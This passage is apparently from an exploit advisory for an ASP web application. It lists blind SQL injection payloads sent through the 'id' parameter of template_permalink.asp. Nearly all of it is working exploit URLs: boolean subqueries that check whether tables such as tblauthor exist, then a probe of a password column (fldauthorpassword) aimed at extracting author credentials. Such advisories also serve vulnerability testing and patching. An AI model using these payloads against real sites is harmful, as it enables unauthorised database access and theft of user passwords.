(SELECT Count(*) FROM [TABLE]) >= 0

[~] Exploit2: http://localhost/[path]/template_permalink.asp?id=78 and
exists (select * from [TABLE])

[~] Example: http://localhost/[path]/template_permalink.asp?id=78 AND
(SELECT Count(*) FROM tblauthor) >= 0

[~] Example2: http://localhost/[path]/template_permalink.asp?id=78 and

(SELECT Count(*) FROM tblauthor) = 1

[~] If you don't see any error, the table has 1 columns.

[*] Checking columns of table:

[~] Exploit: http://localhost/[path]/template_permalink.asp?id=78 AND

(SELECT Count(fldauthorpassword) FROM tblauthor) >= 0
